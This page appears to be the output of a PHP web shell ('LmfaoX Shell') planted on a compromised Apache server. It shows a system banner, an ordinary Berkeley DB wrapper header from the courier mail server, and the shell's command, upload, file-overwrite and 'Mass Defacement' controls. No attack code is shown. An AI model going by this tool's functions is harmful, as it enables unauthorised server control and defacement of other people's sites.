ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.46 GB of 70.42 GB (34.74%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ bdbobj/ - drwxrwxrwx

Directory:
Viewing file:     bdbobj.h (3.44 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef    bdbobj_h
#define    bdbobj_h

/*
** Copyright 1998 - 2007 Double Precision, Inc.  See COPYING for
** distribution information.
*/


#if HAVE_CONFIG_H
#include    "config.h"
#endif

#include    <sys/types.h>

#if HAVE_LIMITS_H
#include    <limits.h>
#endif

#include    <db.h>
#include    <stdlib.h>

#ifdef    __cplusplus
extern "C" {
#endif

struct bdbobj {
    DB    *dbf;
    int    has_dbf;

#if    DB_VERSION_MAJOR >= 2
    DBC    *dbc;
    int    has_dbc;
#endif
    } ;

void bdbobj_init(struct bdbobj *);

int bdbobj_open(struct bdbobj *, const char *, const char *);
void bdbobj_close(struct bdbobj *);

#define    bdbobj_isopen(p)    (!!(p)->has_dbf)

char    *bdbobj_fetch(struct bdbobj *, const char *, size_t, size_t *, const char *);

int    bdbobj_exists(struct bdbobj *, const char *, size_t);
int    bdbobj_delete(struct bdbobj *, const char *, size_t);
int    bdbobj_store(struct bdbobj *, const char *, size_t, const char *,
        size_t, const char *);

char    *bdbobj_firstkey(struct bdbobj *, size_t *, char **, size_t *);
char    *bdbobj_nextkey(struct bdbobj *, size_t *, char **, size_t *);

#ifdef    __cplusplus
} ;

#include    <string>


class BDbObj {
    struct bdbobj    obj;

    BDbObj(const BDbObj &);            // Undefined
    BDbObj    &operator=(const BDbObj &);        // Undefined
    char    *do_fetch(const char *, size_t, size_t &);
    char    *do_query(const char *, size_t, size_t &, const char *);

public:
    BDbObj() { bdbobj_init(&obj); }
    ~BDbObj()    { bdbobj_close(&obj); }
    int    Open(std::string filename, const char *mode)
    {
        return (bdbobj_open(&obj, filename.c_str(), mode));
    }

    int    IsOpen() { return (bdbobj_isopen(&obj)); }
    void    Close() { bdbobj_close(&obj); }

    std::string Fetch(std::string key, std::string mode)
    {
        size_t l;
        char *p=Fetch(key.c_str(), key.size(), l, mode.c_str());

        if (!p) return "";

        std::string v(p, p+l);

        free(p);
        return v;
    }

    bool    Exists(std::string key)
    {
        return !!Exists(key.c_str(), key.size());
    }

    bool    Delete(std::string key)
    {
        return !!Delete(key.c_str(), key.size());
    }

    bool    Store(std::string key, std::string val, std::string mode)
    {
        return Store(key.c_str(), key.size(),
                 val.c_str(), val.size(), mode.c_str());
    }

    std::string FetchFirstKeyVal(std::string &valRet)
    {
        char *key;
        size_t keyLen;
        char *val;
        size_t valLen;

        key=FetchFirstKeyVal(keyLen, val, valLen);

        if (!key)
            return "";

        std::string r(key, key+keyLen);

        valRet=std::string(val, val+valLen);
        free(val);
        return r;
    }

    std::string FetchNextKeyVal(std::string &valRet)
    {
        char *key;
        size_t keyLen;
        char *val;
        size_t valLen;

        key=FetchNextKeyVal(keyLen, val, valLen);

        if (!key)
            return "";

        std::string r(key, key+keyLen);

        valRet=std::string(val, val+valLen);
        free(val);
        return r;
    }





    char    *Fetch(const char *key, size_t keylen, size_t &vallen,
        const char *mode)
        {
            return (bdbobj_fetch(&obj, key, keylen, &vallen, mode));
        }
    int    Exists(const char *key, size_t keylen)
        {
            return (bdbobj_exists(&obj, key, keylen));
        }
    int    Delete(const char *key, size_t keylen)
        {
            return (bdbobj_delete(&obj, key, keylen));
        }

    int    Store(const char *key, size_t keylen, const char *val,
            size_t vallen, const char *mode)
        {
            return (bdbobj_store(&obj, key, keylen, val, vallen,
                mode));
        }

    char    *FetchFirstKeyVal(size_t &keylen, char *&val, size_t &vallen)
        {
            return (bdbobj_firstkey(&obj, &keylen, &val, &vallen));
        }
    char    *FetchNextKeyVal(size_t &keylen, char *&val, size_t &vallen)
        {
            return (bdbobj_nextkey(&obj, &keylen, &val, &vallen));
        }
} ;

#endif

#endif
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2549 seconds